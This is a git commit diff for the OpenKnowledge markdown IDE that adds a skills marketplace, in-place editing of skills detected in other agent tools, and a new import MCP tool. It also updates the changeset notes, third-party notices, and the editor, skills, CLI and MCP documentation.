Skip to content

Beautiful, AI-native markdown IDE and LLM wiki

feat(open-knowledge): skills marketplace, in-place skills, cross-harness plugin detection (#2923)

tim-inkeepe3d6ce5fc481
diff --git a/.changeset/skills-marketplace.md b/.changeset/skills-marketplace.md
new file mode 100644
index 000000000..5005dba12
--- /dev/null
+++ b/.changeset/skills-marketplace.md
@@ -0,0 +1,34 @@
+---
+"@inkeep/open-knowledge": minor
+---
+
+Skills become a first-class surface: find them, bring them in, and own them as versioned content.
+
+**Find a skill.** Skills is now a destination rather than a settings tab. Its home leads with describing the skill you want, with Upload a skill and New from scratch as quiet actions beneath. The six most-installed skills on skills.sh render inline with a Browse all link, so installing something that already exists no longer starts by opening a modal.
+
+Adding a skill opens one dialog with two tabs:
+
+- **Explore** browses skills.sh — a most-installed grid on an empty query, keyword search otherwise — and imports a repository-backed or website-backed result in one click. Website publishers install through their `.well-known` skill index, including every declared file. When skills.sh is unreachable the surface degrades to a GitHub-topic search and the last-good grid, so it is never blank on a cold network.
+- **Upload** takes a `.zip`/`.skill` bundle, a folder, or a remote source: a GitHub `owner/repo`, a git URL, a skills.sh skill-page URL, or a local path.
+
+**Skills you already have are left alone.** Skills OK finds in your other tools (Claude plugins, plus the Claude, Codex, Cursor, OpenCode, Copilot, Pi, and Agents skill dirs) are never imported. They appear as read-only **Detected** rows, expand to their file tree (loaded lazily, so the sidebar never fetches a preview for every detected skill up front), and are editable in place — changes save straight to that editor's own copy.
+
+**One skill, one folder, many places.** Every path lands the skill in the project's skill home (`.agents/skills/<name>/` when you have one) as versioned content: history, restore, search, and attribution, with provenance in `.ok/skills-lock.json`. An identical re-import is a no-op; a name collision lands under `<name>-imported` rather than overwriting. A new location is a symlink to the source by default, or follows the form the skill's other locations already use; convert any single location when you want an independent copy. Imported scripts are stored as content and never executed.
+
+**Installing a set, not a file at a time.** When a preview belongs to a plugin or a website index, it discloses the siblings and opens a picker — each with its description, a select-all, and the level to install at — rather than a one-click "install all 41". The selection imports through a single server-side clone, so ten skills from one repo no longer re-clone it ten times, and one oversized bundle or misspelled name reports itself instead of failing the rest. Website installs also fetch bundle files concurrently and read the origin index once per selection: two skills from `open.feishu.cn` went from 39s to 9s. A plugin's hooks, commands, and MCP servers are named, never installed and never run.
+
+**The `workflow` MCP tool is retired.** Its five procedures move into skill guidance, so they load on description match instead of costing tool-list tokens every turn. `import` takes the freed slot, keeping the surface at 21 tools.
+
+- `ingest` and brownfield onboarding move into the platform `open-knowledge` skill, which ships with every `ok init`.
+- `research` and `consolidate` ship with the `knowledge-base` pack; `wiki` generate/refresh with `codebase-wiki`. The platform skill now says plainly when a procedure needs its pack.
+
+**Starter packs ship focused skills.** A pack directory may hold a root `SKILL.md` plus one subdirectory per member skill. `software-lifecycle` gains `frame-a-proposal`, `write-a-spec`, `record-a-decision`, `write-a-postmortem`, and `review-a-design`; `knowledge-base` promotes `research` and `consolidate` to member skills. Pack skills also gained task-based triggers, so `software-lifecycle` fires on "record an architecture decision" rather than only on a folder-layout match. `ok seed --pack <id>` installs every skill a pack ships, and no longer reports "already seeded, nothing to do" when the folders exist but a skill is missing.
+
+**Fixes**
+
+- Installing a skill into the `.agents` hub no longer fails with "Placement path must be a project-relative directory outside .ok/." Asking for a location a skill already occupies is a satisfied request that changes nothing.
+- Skill preview tabs no longer duplicate. A preview's identity includes its source path, and that path moves (a plugin-cache path carries the version; a detected skill relocates when its installed copy is deleted), which minted a second tab with the same label — one of which looked impossible to close. Reopening reuses the tab already open for that skill and level, and a visible tab is always closable.
+- Settings → Skills is slimmed to the install-targets picker; authoring and browsing live in the sidebar.
+- Install counts read `2.7M` rather than `2733k`, in the active locale's units and separators.
+
+**Under the hood:** a read-only cross-harness enumerator (`ok skills installed`, `GET /api/skills/installed`), the skills.sh discovery and leaderboard proxies with defensive row-level parsing, the acquire/import pipeline, and the shared skill and Pack model — all exported from the new `@inkeep/open-knowledge-core/skills-catalog` subpath. Remote imports require explicit opt-in before upstream changes auto-apply; local filesystem sources keep automatic refresh. Rename and scope-move preserve provenance, update eligibility, and copy projections. The canonical-component text in tool descriptions is split so `write` and `edit` still list every component id while the authoring reference rides `write` alone, trimming roughly 940 bytes of always-on context per turn.
diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md
index 9eb10dd1d..f01c14863 100644
--- a/THIRD_PARTY_NOTICES.md
+++ b/THIRD_PARTY_NOTICES.md
@@ -4566,6 +4566,11 @@ Homepage: https://github.com/pillarjs/path-to-regexp
Copyright (c) 2014 Blake Embrey ([email protected])
+Homepage: https://github.com/andrewrk/node-pend
+
+Copyright (c) 2014 Andrew Kelley
+
Homepage: https://github.com/micromatch/picomatch
@@ -5559,6 +5564,11 @@ Homepage: https://github.com/yjs/y-protocols#readme
Copyright (c) 2019 Kevin Jahns <[email protected]>.
+Homepage: https://github.com/thejoshwolfe/yauzl
+
+Copyright (c) 2014 Josh Wolfe
+
Homepage: https://github.com/thejoshwolfe/yazl
diff --git a/biome.jsonc b/biome.jsonc
index 9d533b34c..91420461a 100644
--- a/biome.jsonc
+++ b/biome.jsonc
@@ -345,6 +345,12 @@
// mirror-excluded.
"!packages/md-conformance/conformance-catalog.json",
"!packages/md-conformance/corpora/gfm-extensions.json"
- ]
+ ],
+ // `packages/server/src/api-extension.ts` grew past biome's 1 MiB default,
+ // at which point biome silently stops checking it and warns instead — and
+ // `--error-on-warnings` turns that into a red lint job. Raised so the file
+ // keeps being linted. The real fix is splitting the module; this keeps the
+ // gate honest until then.
+ "maxSize": 2097152
}
}
diff --git a/docs/content/features/editor.mdx b/docs/content/features/editor.mdx
index 5241e4eb5..bb445c2b2 100644
--- a/docs/content/features/editor.mdx
+++ b/docs/content/features/editor.mdx
@@ -112,7 +112,7 @@ The terminal is also the editor's AI-chat surface: the **Show terminal** tab sta
Rename a tab by double-clicking it or pressing `F2`; the name you set pins over whatever title the running program reports, and clearing it falls back to that title. Reorder tabs by dragging, or move the active tab with `Cmd+Shift+←` / `Cmd+Shift+→` — untitled tabs keep a number that stays with their session as the strip is rearranged.
-The shells run at full user privilege. To turn the terminal off for a project on this machine, use **Settings ▸ Terminal** or set `terminal.enabled: false` in `.ok/local/config.yml` (see the [configuration reference](/docs/reference/configuration)); the setting is project-local, never shared via git or sync, and not agent-settable — only a human can flip it.
+The shells run at full user privilege. To turn the terminal off for a project on this machine, use **Settings ▸ Terminal** or set `terminal.enabled: false` in `.ok/local/config.yml` (see the [configuration reference](../reference/configuration.mdx)); the setting is project-local, never shared via git or sync, and not agent-settable — only a human can flip it.
## Properties
@@ -120,7 +120,7 @@ Every doc can carry a bit of structured information at the top: a `status`, an `
In the raw markdown file, these properties live in a fenced block at the very top of the file, between two `---` lines. Markdown tools call that block *frontmatter*: it's just a small chunk of YAML, the doc's "labels." You never have to write it by hand: the **Properties** panel on the right of the editor shows each field as an ordinary form input (text, number, checkbox, date, or list) and saves your changes back into the file. Edit the panel or the raw block in source mode; changes propagate live either way.
-A folder can describe itself (its own properties, just like a doc's) and offer templates that give new docs their starting properties. See [Folders and templates](/docs/advanced/folders-and-templates#folder-properties) for how that works.
+A folder can describe itself (its own properties, just like a doc's) and offer templates that give new docs their starting properties. See [Folders and templates](../advanced/folders-and-templates.mdx#folder-properties) for how that works.
## File sidebar
@@ -152,13 +152,13 @@ Expand all and Collapse all only appear when they have work to do: Expand all is
### Creating files and folders
-Pick **New File**, **New from template**, or **New Folder** from any of the three menus. The sidebar shows an inline rename field at the target location; type a name and press Enter. **New from template** opens the [template picker](/docs/advanced/folders-and-templates#templates) (the same dialog the toolbar's create buttons use) and respects the folder's `templates_available` cascade.
+Pick **New File**, **New from template**, or **New Folder** from any of the three menus. The sidebar shows an inline rename field at the target location; type a name and press Enter. **New from template** opens the [template picker](../advanced/folders-and-templates.mdx#templates) (the same dialog the toolbar's create buttons use) and respects the folder's `templates_available` cascade.
Right-click on empty space drops the new item at the project root. Right-click on a folder drops it inside that folder.
### Hiding files and folders
-**Hide this file** on a file row, or **Hide folder** on a folder row, appends a matching pattern to `.okignore`. See [Ignore patterns](/docs/features/ignore-patterns) for the full pattern syntax. The item disappears from the tree, search, and the agent's MCP tools immediately; nothing is deleted on disk.
+**Hide this file** on a file row, or **Hide folder** on a folder row, appends a matching pattern to `.okignore`. See [Ignore patterns](./ignore-patterns.mdx) for the full pattern syntax. The item disappears from the tree, search, and the agent's MCP tools immediately; nothing is deleted on disk.
### Show Hidden Files
@@ -176,7 +176,7 @@ On very large trees the disk walk is capped per level, and the sidebar shows a n
### Open with AI
-**Open with AI ▸** dispatches the project, the folder, or the file to one of your installed agents. The agent receives a short text prompt asking it to open the target in the OpenKnowledge web preview, then grounds the rest of the conversation via the [OpenKnowledge MCP](/docs/reference/mcp). Three scopes, three prompt shapes:
+**Open with AI ▸** dispatches the project, the folder, or the file to one of your installed agents. The agent receives a short text prompt asking it to open the target in the OpenKnowledge web preview, then grounds the rest of the conversation via the [OpenKnowledge MCP](../reference/mcp.mdx). Three scopes, three prompt shapes:
| Scope | Triggered from | Prompt template |
| --- | --- | --- |
@@ -184,13 +184,13 @@ On very large trees the disk walk is capped per level, and the sidebar shows a n
| Folder | Folder row menu (folder view active) | ``Let's work on the `<folder>` folder using OpenKnowledge. Open the OK editor in web view.`` |
| File | File row menu (doc active) | ``Let's work on `<path>` using OpenKnowledge. Open the OK editor in web view.`` |
-The trailing `Open the OK editor in web view.` directive is dropped when the [`appearance.preview.autoOpen`](/docs/reference/configuration) preference is off, so the receiving agent honors the same "leave my preview alone" choice on its first turn; only the `Let's work on … using OpenKnowledge.` opener is sent.
+The trailing `Open the OK editor in web view.` directive is dropped when the [`appearance.preview.autoOpen`](../reference/configuration.mdx) preference is off, so the receiving agent honors the same "leave my preview alone" choice on its first turn; only the `Let's work on … using OpenKnowledge.` opener is sent.
To send your own freetext instruction along with the handoff, use the bottom [Ask AI](#ask-ai) composer (or the empty-state create composer on a fresh project) rather than these one-click submenus.
**Install detection** filters the submenu to just the agents you have. The desktop app probes locally; the web build asks the server (`GET /api/installed-agents`), so the answer reflects the machine the server runs on — exact on `localhost`, while against a remote server (a hosted preview, SSH tunnel, remote dev) it's the server's installs that count. When nothing is detected, the submenu shows a disabled "No installed agents found" row.
-See the [per-integration pages](/docs/integrations/claude-code) for what each agent receives once dispatched.
+See the [per-integration pages](../integrations/claude-code.mdx) for what each agent receives once dispatched.
The menu is organized into two sections. **Terminal** (desktop app only) leads: a row for each agent CLI — **Claude**, **Codex**, **OpenCode**, **Cursor**, and **Pi** — that runs the corresponding CLI (`claude`, `codex`, `opencode`, `pi`; Cursor's is `cursor-agent`) in OpenKnowledge's [docked terminal](#terminal) with the same scoped prompt. **Desktop** follows, listing the installed agent apps (Claude, Codex, Cursor); selecting one launches it via its deep link. Because both sections can list the same name, a Terminal **Claude** (the CLI) and a Desktop **Claude** (the app) can appear together; screen readers tell them apart by the Terminal row's "Claude CLI" accessible name. Each section renders only when it has something to launch, so on the web build — which has no docked terminal — the Terminal section is absent and a CLI pick falls back to the first installed Desktop app target.
@@ -198,9 +198,9 @@ The empty-state create composer on a fresh project carries the same Desktop / Te
When Claude or Codex launches from the docked terminal, OpenKnowledge auto-approves its own MCP tools, so the agent searches, reads, and edits the knowledge base without a per-call approval prompt. Claude additionally auto-approves the `ok open` command. OpenCode, Cursor, and Pi launch unchanged.
-Four tools stay gated: `delete` and `move` (knowledge-base-wide blast radius), `share_link` (publishes content), and `install` (writes executable skill scripts into the agent's own config directory). For Claude, everything outside OpenKnowledge still prompts too, including shell commands and non-OK file edits. The guarantee is best-effort per agent: Claude uses an explicit allow/deny list, while Codex uses its own **approve** mode (auto-approve except potentially-unsafe actions) and only gets it once its OpenKnowledge entry is already configured, so run `ok init` for Codex if it keeps asking.
+Five tools stay gated: `delete` and `move` (knowledge-base-wide blast radius), `share_link` (publishes content), `install` (writes executable skill scripts into the agent's own config directory), and `import` (acquires skill content from an external source). For Claude, everything outside OpenKnowledge still prompts too, including shell commands and non-OK file edits. The guarantee is best-effort per agent: Claude uses an explicit allow/deny list, while Codex uses its own **approve** mode (auto-approve except potentially-unsafe actions) and only gets it once its OpenKnowledge entry is already configured, so run `ok init` for Codex if it keeps asking.
-Turn it off in **Settings → Terminal → “Let agents use OpenKnowledge without asking”** ([`agents.autoApproveOkTools`](/docs/reference/configuration)). It applies to every project on this machine and defaults on.
+Turn it off in **Settings → Terminal → “Let agents use OpenKnowledge without asking”** ([`agents.autoApproveOkTools`](../reference/configuration.mdx)). It applies to every project on this machine and defaults on.
## Command palette
@@ -301,14 +301,14 @@ Toggling the menu checkboxes flips the underlying config field, which propagates
## Real-time collaboration
-Everything in the editor (body, frontmatter, sidebar toggles) is backed by a CRDT. You and multiple AI agents writing through MCP can edit the same doc concurrently. Per-user presence is shown in the editor header; the **agent activity** view ([Agent activity](/docs/features/agent-activity)) groups every burst of agent edits with per-burst diffs and selective undo.
+Everything in the editor (body, frontmatter, sidebar toggles) is backed by a CRDT. You and multiple AI agents writing through MCP can edit the same doc concurrently. Per-user presence is shown in the editor header; the **agent activity** view ([Agent activity](./agent-activity.mdx)) groups every burst of agent edits with per-burst diffs and selective undo.
-For recovery + history, see [Timeline and recovery](/docs/features/timeline-and-recovery).
+For recovery + history, see [Timeline and recovery](./timeline-and-recovery.mdx).
## See also
-- [Ignore patterns](/docs/features/ignore-patterns): `.okignore` syntax and Hide-from-tree mechanics
-- [Configuration reference](/docs/reference/configuration): `.ok/config.yml` schema including `appearance.sidebar.*`
-- [Agent activity](/docs/features/agent-activity): review and undo per-session agent edits
-- [Timeline and recovery](/docs/features/timeline-and-recovery): version history and restore
+- [Ignore patterns](./ignore-patterns.mdx): `.okignore` syntax and Hide-from-tree mechanics
+- [Configuration reference](../reference/configuration.mdx): `.ok/config.yml` schema including `appearance.sidebar.*`
+- [Agent activity](./agent-activity.mdx): review and undo per-session agent edits
+- [Timeline and recovery](./timeline-and-recovery.mdx): version history and restore
diff --git a/docs/content/features/skills.mdx b/docs/content/features/skills.mdx
index 23ed0db99..6041ee306 100644
--- a/docs/content/features/skills.mdx
+++ b/docs/content/features/skills.mdx
@@ -1,10 +1,10 @@
---
title: Skills
icon: LuGraduationCap
-description: "What's different about skills in OpenKnowledge: you edit them in the WYSIWYG editor like any doc, version them with your base, and symlink one skill into every editor you use."
+description: "Create, import, version, and install Agent Skills across your editors from one OpenKnowledge source."
---
-A skill in OpenKnowledge is content, not a config file: authored in the WYSIWYG editor, versioned with your base, and symlinked into every editor from one source.
+A skill in OpenKnowledge is content, not a config file: authored or imported in the WYSIWYG editor, versioned with your base, and installed into every editor from one source.
```html preview
<div style="padding:18px">
@@ -23,7 +23,7 @@ A skill in OpenKnowledge is content, not a config file: authored in the WYSIWYG
<div id="eds" class="eds"></div>
</div>
</div>
- <div class="cap">One <code>.ok/skills</code> source, symlinked into each editor. Edit once, no re-install, no drift.</div>
+ <div class="cap">One canonical skill folder, mirrored into each editor. Edit once, no re-install, no drift.</div>
</div>
<style>
.flow{display:grid;grid-template-columns:1.15fr auto 1fr;gap:16px;align-items:center}
@@ -60,43 +60,60 @@ if(!reduce)setInterval(run,3400);
A project skill is not a raw text file you hand-edit in a dotfile. It is a document in your base: written in the same WYSIWYG editor, versioned, with the same backlinks and live preview as the rest of your knowledge. Improving a skill is the same flow as improving any page.
-## Write once, install everywhere
+## One source, every editor
-`install` **symlinks** the skill into each editor's skills directory (Claude Code, Cursor, Codex, OpenCode, Pi). Every editor points at the one `.ok/skills/<name>` source, so nothing is copied and nothing drifts: edit the skill once and every agent has the change, with no re-install.
+A skill is a **real folder** in your agent's skills directory — `.claude/skills`, `.cursor/skills`, `.codex/skills`, `.opencode/skills`, or the vendor-neutral `.agents/skills` hub. OpenKnowledge keeps one real folder per skill name and mirrors it into your other editors. A new location is a symlink to that source by default, since it duplicates no bytes and cannot drift; you can convert any location to an independent copy when you want one, and a new location otherwise follows the form the skill's existing locations already use. Edit the source once and every agent has the change.
-## Create and install a skill
+## Create, import, and install skills
-Create a skill from the sidebar's **Skills** section: **New skill** asks for a scope, a name (the id agents use to invoke it), and a description (what agents match on to decide when to use it), then opens the new `SKILL.md` as an editor tab. A skill can also bundle `references/` and `scripts/` files beside its `SKILL.md`; agents read those through the [`skills` MCP tool](/docs/reference/mcp), never by browsing `.ok/`.
+Open the **Skills** tab to add skills three ways:
-A new skill starts as a **Draft**: authored but installed nowhere. Install it from the skill's toolbar, per editor or all at once, and it becomes **Installed**. The project's default editor set lives in **Settings → Skills**, saved to `.ok/skill-targets.json` in the base so teammates inherit it.
+- **Explore** searches skills.sh, previews a skill before it lands in your base, and imports it with one click.
+- **Upload** imports a skill from skills.sh, GitHub, a git URL, a local path, a `.zip` / `.skill` archive, or a folder containing `SKILL.md`.
+- **New** asks for a name (the id agents use to invoke it) and a description (what agents match on to decide when to use it), then opens the new `SKILL.md` as an editor tab. The scope comes from the section you create it in.
+
+Agents use the same marketplace flow over MCP: `skills({ query: "..." })` searches skills.sh, then `import({ source, skill: name })` imports the selected result.
+
+A skill is live for its agent the moment it lands — there is no separate "install" step to flip. The skill's **install** menu instead controls *where* it is available: add or remove editors, flip any editor between a copy and a symlink, or relocate the canonical source. If a source bundles several skills, OpenKnowledge asks which one to import; scripts are stored as versioned content for review and never run during import. **Settings → Skills** lists this project's and your user-level skill folders, and lets you point one editor's skills folder at another's. Per-skill reach lives in each skill's install menu.
+
+A skill can also bundle `references/` and `scripts/` files beside its `SKILL.md`; agents read those through the [`skills` MCP tool](../reference/mcp.mdx).
## Two scopes
- **Project** skills live in the base, versioned and shared with it like any other content.
-- **Global** skills live in `~/.ok/skills` and follow you across every project on your machine. Outside any base, they carry no version history.
+- **Global** skills live in your home editor dirs (`~/.agents/skills`, `~/.claude/skills`, …) and follow you across every project on your machine. Outside any base, they carry no version history.
The skill that makes an agent behave well the moment you connect it (read and write through the tools, cite sources, keep the link graph healthy) is neither: `open-knowledge` is built into the product and never appears in your skills list.
-Moving a skill between scopes re-creates it in the destination scope: history does not transfer, and it lands as a Draft you install again.
-
-## Import existing editor skills
+Moving a skill between scopes re-creates it in the destination scope: history does not transfer, but the locations it occupied are re-projected for you.
-By default, OpenKnowledge manages only the skills under `.ok/skills`: anything you already keep in `.claude/skills`, `.cursor/skills`, and the like is left alone. When the app finds editor skills it could manage, it offers to import them, moving each one into `.ok/skills` and replacing the editor copy with a symlink.
+## Skills from your other tools
-The same switch is available from the CLI:
+Skills you already keep in `.claude/skills`, `.cursor/skills`, and the like are versioned **in place, automatically** — OpenKnowledge reads and versions them where they live. There is no store to opt into and no `ok skills manage` switch.
-```bash
-ok skills manage --on # import existing editor skills and adopt new ones
-ok skills manage --off # stop adopting; existing skills and symlinks stay
-ok skills manage --status # print the current setting
-```
-
-Skills already under `.ok/skills` stay managed either way.
+The Skills sidebar lists what OpenKnowledge found across your other tools: the Claude, Codex, Cursor, OpenCode, Copilot, Pi, and Agents skill dirs, plus Claude plugins. They appear as **Detected** rows. Click one to edit it in place; changes save straight to that editor's own copy. From the CLI, `ok skills installed` lists every skill across your agents (read-only) and `ok skills import <source>` brings a new one in.
<Callout type="warn">
Skills are an open standard, and a skill can carry scripts that run on your machine. Treat a third-party skill like installing software. Use trusted sources, and read what it does first.
</Callout>
+## Staying up to date
+
+An imported skill records where it came from, so its toolbar can show an **Update from source** action when upstream moves.
+
+Updates from a remote source (skills.sh, GitHub, a git URL) are **not** applied automatically. A skill's instructions run in your agent, so continuing to trust a publisher is an explicit, per-skill opt-in: the **Auto-update** toggle starts off, and until you turn it on you get a diff to review before anything is rewritten. Skills imported from a local path on your own machine stay in sync by default, since the source is already yours.
+
+## Skills we publish
+
+OpenKnowledge's own skills are published at [inkeep/open-knowledge-skills](https://github.com/inkeep/open-knowledge-skills), and they install like any other Claude Code plugin marketplace:
+
+```bash
+/plugin marketplace add inkeep/open-knowledge-skills
+/plugin install open-knowledge@open-knowledge-skills
+```
+
+`open-knowledge` is the platform skill that teaches an agent to read, search, link, and write markdown through the MCP server. The starter packs ship there too, and `ok seed --pack <id>` installs a pack's skills directly.
+
## Up next
- **[Agentic search](../reference/agentic-search.mdx)**: how the agent reads your base.
diff --git a/docs/content/reference/cli.mdx b/docs/content/reference/cli.mdx
index 5ceb5468b..e0c332e8e 100644
--- a/docs/content/reference/cli.mdx
+++ b/docs/content/reference/cli.mdx
@@ -125,7 +125,8 @@ Serve this project's web UI and `/mcp` endpoint to your other devices through an
| `ok migrate notion <dir>` | Clean up a Notion export in place, dry-run unless `--apply` (see [migrating from Notion](/docs/migrate/notion)) |
| `ok config validate` | Validate the merged config (defaults → user → project) |
| `ok config migrate` | Remove deprecated keys from `config.yml` (`--dry-run` to preview; `--scope` project, user, or both) |
-| `ok skills manage` | Control whether OpenKnowledge adopts your editor skills into this project (`--on`, `--off`, `--status`; default off) |
+| `ok skills installed` | List every skill installed across your agents (read-only, cross-harness) |
+| `ok skills import <source>` | Import a skill as versioned content from skills.sh, a GitHub `owner/repo`, a git URL, or a local path |
| `ok bug-report` | Package a support bundle — recent app logs, the project's server logs and lock diagnostics, and system info — as an auto-redacted zip under `~/.ok/bug-reports/`, revealed in Finder when it's done (`--no-reveal` to skip). Collects the same `standard` set as the desktop app's **Help → Report a bug…**; `ok diagnose bundle` produces the `full` superset (telemetry spans, live server state) into the project's `.ok/local/diagnostics/` |
## Global flags
@@ -140,7 +141,7 @@ The rest of the CLI exists mostly for tooling and automation. Your AI editor spa
`ok deinit` reverses `ok init` for one project: it removes the project's `.ok/` directory, its editor MCP entries, git-exclude lines, and shadow repo, leaving your markdown untouched.
-`ok uninstall` removes OpenKnowledge from the whole machine — running servers, credentials, the PATH shim, its own editor MCP entries, skill bundles, app data, and `~/.ok`. Your markdown content stays, and skills you authored under `~/.ok/skills` are kept unless you pass `--purge-content`. It never deletes the CLI binary itself; it ends by printing the removal command (`npm uninstall -g @inkeep/open-knowledge` for the install above).
+`ok uninstall` removes OpenKnowledge from the whole machine — running servers, credentials, the PATH shim, its own editor MCP entries, skill bundles, app data, and `~/.ok`. Your markdown content stays, and your global skills in your editors' skill dirs (`~/.agents/skills`, `~/.claude/skills`, and the like) are never touched. It never deletes the CLI binary itself; it ends by printing the removal command (`npm uninstall -g @inkeep/open-knowledge` for the install above).
Both commands print their plan and ask before acting; `--dry-run` previews without changing anything. Once `ok uninstall` has finished successfully, an interactive run also asks one optional question about why you're leaving — you can skip it, and `--yes`, `--json`, and non-interactive runs never ask. Anything you do answer is [sent to us](/docs/reference/what-open-knowledge-writes#what-leaves-your-machine).
diff --git a/docs/content/reference/mcp.mdx b/docs/content/reference/mcp.mdx
index 9367879b2..9da7e3c24 100644
--- a/docs/content/reference/mcp.mdx
+++ b/docs/content/reference/mcp.mdx
@@ -4,7 +4,7 @@ icon: custom/MCP
description: Tools the OpenKnowledge MCP server exposes to AI agents.
---
-The MCP server gives AI agents structured access to your knowledge base. A few tools answer without a running server: `exec` (fs-direct shell reads straight off the disk — only the backlink and forward-link enrichment needs the server; history comes from the shadow repo on disk), plus `config`, `palette`, and `workflow`. `preview_url` resolves from the project's lock files, but treats opening a preview as demand: if no server is running it auto-starts one (under the `OK_MCP_AUTOSTART` gate).
+The MCP server gives AI agents structured access to your knowledge base. A few tools answer without a running server: `exec` (fs-direct shell reads straight off the disk — only the backlink and forward-link enrichment needs the server; history comes from the shadow repo on disk), plus `config` and `palette`. `preview_url` resolves from the project's lock files, but treats opening a preview as demand: if no server is running it auto-starts one (under the `OK_MCP_AUTOSTART` gate).
Every other read tool (`search`, `links`, `history`, etc.) and all write tools route through the Hocuspocus server, which OpenKnowledge auto-starts on the first call that needs it, under the same `OK_MCP_AUTOSTART` gate. All tools take a `cwd` (an absolute path inside the target project) that selects which project the call lands on; a globally registered server requires it unless the client advertises exactly one root.
@@ -22,7 +22,7 @@ To point an MCP client at this server, locally or over a tunnel from another mac
| `lint` | Report content-rule problems (markdownlint style rules + frontmatter schema validation) for one `document` or a whole-project audit (`path` scopes it); each finding carries `source`/`code`/`message`/`range`/`severity`, audit capped at 10 files × 10 diagnostics with accurate totals; configuration problems (e.g. a broken schema file) ride a separate `warnings` channel. Pass `fix: true` with `document` to auto-fix fixable rules in place — the fix lands through the collaborative document (attributed, live preview), not a shell edit; the rest need `edit`/`write`. Example output: [content rules overview](/docs/advanced/content-rules/overview#ai-agents) |
| `audit` | Unified read-only validation audit: every content problem — content-rule violations (markdownlint + frontmatter schemas) **and** broken internal links — in one call, grouped by the file to fix (`path` scopes to a folder or doc). Each finding is tagged with its validator; broken links report under the source doc that contains them, at the offending line, as warnings by default (the project's `validation.links` setting can raise them to errors or hide them). Same 10 × 10 output cap as `lint`'s audit, with accurate totals. No fix shape — lint fixes go through `lint`, link repairs through `edit`/`write` |
| `history` | Version timeline for a `document`, `folder`, or `skill`. Each entry carries a `version` (commit SHA) you pass to `restore_version`. Filter with `kind` (`checkpoint` / `wip` / `upstream`), `author` / `excludeAuthor`, and `branch`; paginate with `limit` / `offset` (default 50, max 200). `folder: ""` selects the project-root timeline |
-| `skills` | Find and read agent skills. Omit `name` to list every skill across Project + Global (rows carry `installed` + `hosts`); pass `name` to read one (addressed by `name`+`scope`, never by path); pass `name` + `file` to read one bundle file's text — the read path for `references/` and `scripts/` content |
+| `skills` | Find skills. Pass `query` to search skills.sh and return import-ready rows (`name`, `source`, installs, publisher); omit `name` to list every managed skill across Project + Global (rows carry `installed` + `hosts`); pass `name` to read one (addressed by `name`+`scope`, never by path); pass `name` + `file` to read one bundle file's text — the read path for `references/` and `scripts/` content |
| `config` | Read the effective merged config (`config({ key: "appearance.theme" })` for a sub-tree; omit `key` for the whole config) |
| `palette` | Markdown-native authoring forms, themed `html preview` embed starters, and theme tokens. Pass `components` for the canonical components' full JSX prop schemas |
| `preview_url` | Resolve the browser-reachable preview URL. Targets a `document`, `folder`, or `skill` in the current project, or — via `file`, an absolute path — a markdown file outside it (resolved through the session serving that file). Per-response `previewUrl` fields elsewhere are route-only (`/#/<doc>`); call this when you need the full openable URL |
@@ -30,13 +30,13 @@ To point an MCP client at this server, locally or over a tunnel from another mac
| `write` | Create or overwrite a `document`, `folder`, `template`, `skill`, or `asset`. For a document: `{ path, content }`, or `{ path, template }` to instantiate from a folder template. `position` selects `replace` (full rewrite; the only mode that touches frontmatter), `append`, or `prepend`. `extension` selects `.md` (default) or `.mdx` for a new document; an existing doc keeps its extension (the MCP cannot change it). An `asset` takes exactly one of `content` (base64, for small files) or `source` (a local path the server reads, for large files) |
| `edit` | Modify a `document` (body find/replace **or** a frontmatter merge-patch), a `folder` (frontmatter merge-patch), a `template`, or a `skill`. Body edits take `{ path, find, replace, occurrence? }`; `occurrence` selects which match (1 = first) |
| `delete` | Delete a `document` (one path or an array), `folder`, `template`, `skill`, or `asset` |
-| `move` | Move or rename a `document`, `folder`, `asset`, `template`, or `skill`, rewriting every affected link (templates and skills carry no inbound links). A skill also moves between Project and Global scope via `scope` + `toScope`: history does not transfer, and the moved skill lands as a Draft — run `install` afterward |
-| `install` | Project an authored skill (the Draft produced by `write({ skill })`) into your editors — the Draft → Installed step. `targets` (`claude` / `cursor` / `codex` / `opencode`) overrides the project-configured editor set; the source is validated before projection |
+| `move` | Move or rename a `document`, `folder`, `asset`, `template`, or `skill`, rewriting every affected link (templates and skills carry no inbound links). A skill also moves between Project and Global scope via `scope` + `toScope`: history does not transfer, and you re-establish its editor locations with `install` |
+| `install` | Manage **where** a skill is available. A skill is one real folder (its source, which itself loads) plus managed copies/symlinks at other locations — there is no draft state and no "uninstall everywhere". `add` / `remove` change the other locations (editor ids, `agents`, or custom root paths); `mode` flips an editor copy↔symlink; `source` relocates the real folder. To make a skill stop existing, use `delete` |
+| `import` | Acquire a skill from a full skills.sh skill-page URL (`https://www.skills.sh/<publisher>/skills/<skill>`), `owner/repo[/subpath]`, a git URL, or a local / `file://` path into the vendor-neutral `.agents/skills/<name>/` hub as versioned content — live immediately, with cross-harness projection via `install`. Use `skill` to choose one skill from a multi-skill source or a `skills({ query })` result. Records provenance in `.ok/skills-lock.json`; a name collision lands under `<name>-imported`; scripts are imported as content and never executed |
| `checkpoint` | Save a project-wide version snapshot — a single restore point. Returns its `version` |
| `restore_version` | Restore one `document` or `skill` to a historical `version` (the SHA from `history` or `checkpoint`) |
| `conflicts` | Read GitHub-sync merge conflicts. `kind: "list"` enumerates tracked conflicts; `kind: "content"` returns one file's base / ours / theirs stages |
| `resolve_conflict` | Write a chosen resolution (`mine` / `theirs` / `content` / `delete`) and commit |
-| `workflow` | Procedural guides. `kind` selects: `ingest` (capture a source), `research` (gather + write provisional findings), `consolidate` (promote research to a canonical article), `discover` (onboard an existing repo), or `wiki` (generate a navigable, source-grounded wiki of a codebase) |
## Output shape mirrors the input
@@ -48,7 +48,7 @@ The write verbs nest their result under the same target key you wrote, mirroring
## Instantiating from a template
-`write` accepts a `template` field on the `document` target — `write({ document: { path, template } })` — that resolves against the cascade of templates available for the target document's parent folder, using the same folder-up walk the [Folders and templates](/docs/advanced/folders-and-templates#templates) page describes. The template body becomes the new document's content; the template's own info block (its name and description) is stripped, so it doesn't bleed onto the document.
+`write` accepts a `template` field on the `document` target — `write({ document: { path, template } })` — that resolves against the cascade of templates available for the target document's parent folder, using the same folder-up walk the [Folders and templates](../advanced/folders-and-templates.mdx#templates) page describes. The template body becomes the new document's content; the template's own info block (its name and description) is stripped, so it doesn't bleed onto the document.
`content` and `template` are mutually exclusive. With `template`, `position` is forced to `replace` (initial create semantics).
@@ -79,4 +79,4 @@ To detect conflict state proactively without waiting for a 409, call `conflicts(
